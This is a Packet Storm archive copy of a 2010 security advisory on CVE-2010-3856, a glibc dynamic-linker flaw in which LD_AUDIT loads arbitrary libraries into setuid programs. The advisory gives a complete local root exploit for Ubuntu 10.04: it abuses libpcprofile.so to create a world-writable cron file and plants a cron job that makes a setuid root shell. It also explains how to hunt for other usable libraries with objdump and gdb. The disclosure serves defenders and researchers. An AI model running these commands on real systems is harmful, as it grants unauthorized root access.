what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GNU C Library Dynamic Linker Arbitrary DSO dlopen

GNU C Library Dynamic Linker Arbitrary DSO dlopen
Posted Oct 22, 2010
Authored by Tavis Ormandy

The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads.

tags | exploit, arbitrary
advisories | CVE-2010-3856
SHA-256 | 56712911c7ae4fe887c781b84ff85146b9dcdb7cd4f854c31d844764ea7f5191

GNU C Library Dynamic Linker Arbitrary DSO dlopen

Change Mirror Download
The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads

Cześć, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847.

Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background

For obvious reasons, the dynamic linker will ignore requests to preload user
specified libraries for setuid/setgid programs. However, it is possible to
imagine legitimate use cases for this functionality, so the glibc developers
provide an exception to this rule.

A whitespace-separated list of additional, user-specified, ELF
shared libraries to be loaded before all others. This can be
used to selectively override functions in other shared
libraries. For set-user-ID/set-group-ID ELF binaries, only
libraries in the standard search directories that are also set-
user-ID will be loaded.

In order to be preloaded during the execution of a privileged program, a
library must be setuid and in the trusted library search path. This is a
reasonable design, before a library will be loaded, the system administrator
must brand a library as safe to load across privilege boundaries.

This feature allows developers who design their programs to operate safely
while running as setuid to opt-in to doing so. Bizarrely, the same conditions
do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of
whether it has been designed to operate safely or not.

While the dynamic loader will only use a library that exports the dynamic
symbols required by the rtld-auditing API, it must first dlopen() the
library in order to examine the exported symbols. By definition, this must
execute any defined initialization routines.

This confusion can be exploited by locating a DSO in the trusted search path with
initialization code that has not been designed to operate safely while euid !=
uid. See the Notes section below for additional discussion on this topic.

Affected Software

At least the following versions have been tested

2.12.1, FC13
2.5, RHEL5 / CentOS5
2.11.1, Ubuntu 10


This is a low impact issue that is only of interest to security
professionals and system administrators, end users do not need to be

It is possible to exploit this confusion to execute arbitrary code as root.

The exact steps required to exploit this vulnerability will vary from
distribution to distribution, but an example from Ubuntu 10.04 is given below.

# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0

# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

# A setuid root shell appears.
$ /tmp/exploit
# whoami


Major distributions should be releasing updated glibc packages shortly.


This bug was discovered by Tavis Ormandy.

Thanks to Ben Hawkes and Julien Tinnes for additional insight, and
their expertise tracking down convincing attack vectors.


Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,
and all my other elite friends and colleagues.

Additional greetz to the openwall guys who saw this problem coming years ago.
They continue to avoid hundreds of security vulnerabilities each year thanks to
their insight into systems security.



Finding candidate libraries is simple a matter of identifying DSOs that have
declared constructors or other initialization code. There are multiple
locations that initialization code can be declared, but .ctors is a common

Using objdump, you can examine the section headers for any .ctors section.

$ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \;

[ The system administrator can add additional trusted search paths by declaring
them in /etc/ld.so.conf, but /lib and /usr/lib are the default paths. ]

If a ctors section has a size greater than 2 * wordsize, constructors have been
declared, and should be checked to see if they do anything interesting. An
empty list is 2 * wordsize bytes because it must still hold the two invalid
function pointers inserted into the list to mark list boundaries (alternatively
you could print the difference between the symbols __CTOR_LIST__ and


"Each list always begins with an ignored function pointer (which may hold 0, -1,
or a count of the function pointers after it, depending on the environment).
This is followed by a series of zero or more function pointers to constructors
(or destructors), followed by a function pointer containing zero."

$ objdump --section=.ctors --headers /usr/lib/liblftp-tasks.so.0

/usr/lib/liblftp-tasks.so.0: file format elf32-i386

Idx Name Size VMA LMA File off Algn
17 .ctors 00000040 00ddafc4 00ddafc4 00071fc4 2**2


$ gdb -q /usr/lib/liblftp-tasks.so.0
Reading symbols from /usr/lib/liblftp-tasks.so.0...(no debugging symbols found)...done.
(gdb) symbol-file /usr/lib/debug/usr/lib/liblftp-tasks.so.0.debug
(gdb) p &__CTOR_END__ - &__CTOR_LIST__
$1 = 15

This looks like a good candidate with lots of constructors. You can use objdump
or gdb to dump the contents of the list.

$ objdump --full-contents --section=.ctors /usr/lib/liblftp-tasks.so.0

/usr/lib/liblftp-tasks.so.0: file format elf32-i386

Contents of section .ctors:
ddafc4 ffffffff 205fd800 e068d800 d07ad800 .... _...h...z..
ddafd4 608ad800 6067d900 7079d900 b0b3d900 `...`g..py......
ddafe4 d004da00 a037da00 403bda00 3061da00 .....7..@;..0a..
ddaff4 9062da00 90aada00 20ebdb00 00000000 .b...... .......

Notice the ffffffff at the start of the list, and 00000000 terminating it. The
other entries are function pointers, stored in native byteorder.

Examining the source code reveals it will mkdir(getenv("LFTP_HOME"), 0755) in
the constructors for the Bookmark and History classes, so we can use this to
create arbitrary directories as root.

40 Bookmark::Bookmark()
41 {
42 const char *home = get_lftp_home();
47 }

Followed by:

785 const char *get_lftp_home()
786 {
792 home = getenv("LFTP_HOME");
811 mkdir(home, 0755);
812 return home;
813 }


$ LD_AUDIT="liblftp-tasks.so.0" LFTP_HOME=/etc/exploit ping
ERROR: ld.so: object 'liblftp-tasks.so.0' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
$ ls -ld /etc/exploit
drwxr-x---. 2 root taviso 4.0K Oct 22 01:18 /etc/exploit/

And so on, repeat for all accessible DSOs. The ELF standards document
initialization and termination here



- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.
- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual.
- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.

You should subscribe to Linux Weekly News and help support their high standard
of security journalism.


I have a twitter account where I occasionally comment on security topics.



taviso@cmpxchg8b.com | pgp encrypted mail preferred

Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By